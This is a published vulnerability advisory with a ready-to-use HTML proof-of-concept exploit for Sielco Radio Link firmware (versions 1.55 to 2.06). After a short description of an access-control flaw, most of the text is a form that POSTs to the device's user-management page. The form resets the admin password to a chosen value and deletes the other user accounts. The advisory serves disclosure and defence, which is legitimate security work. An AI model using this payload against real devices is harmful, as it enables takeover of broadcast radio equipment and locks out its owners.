<!--
Sielco Radio Link 2.06 Improper Access Control Change Admin Password
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.
Desc: The application suffers from improper access control when editing
users. A user with Read permissions can manipulate users, passwords and
permissions by sending a single HTTP POST request with modified parameters
and edit other users' names, passwords and permissions including admin
password.
Tested on: lwIP/2.1.1
Web/2.9.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5760
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5760.php
26.01.2023
-->
<html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input type="hidden" name="pwd0" value="Ch4nged12" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="pwd0bis" value="Ch4nged12" /> <!-- This will set/modify admin pwd -->
<input type="hidden" name="user1" value="" /> <!-- This will set/modify user1 -->
<input type="hidden" name="pwd1" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="pwd1bis" value="" /> <!-- This will set/modify user1 pwd -->
<input type="hidden" name="auth1" value="0" /> <!-- This will set user1 read perm -->
<input type="hidden" name="user2" value="" /> <!-- This will set/modify user2 -->
<input type="hidden" name="pwd2" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="pwd2bis" value="" /> <!-- This will set/modify user2 pwd -->
<input type="hidden" name="auth2" value="0" /> <!-- This will set user2 read perm -->
<input type="hidden" name="user3" value="" /> <!-- This will set/modify user3 -->
<input type="hidden" name="pwd3" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="pwd3bis" value="" /> <!-- This will set/modify user3 pwd -->
<input type="hidden" name="auth3" value="0" /> <!-- This will set user3 read perm -->
<input type="submit" value="Modify admin pwd, delete all users" />
</form>
</body>
</html>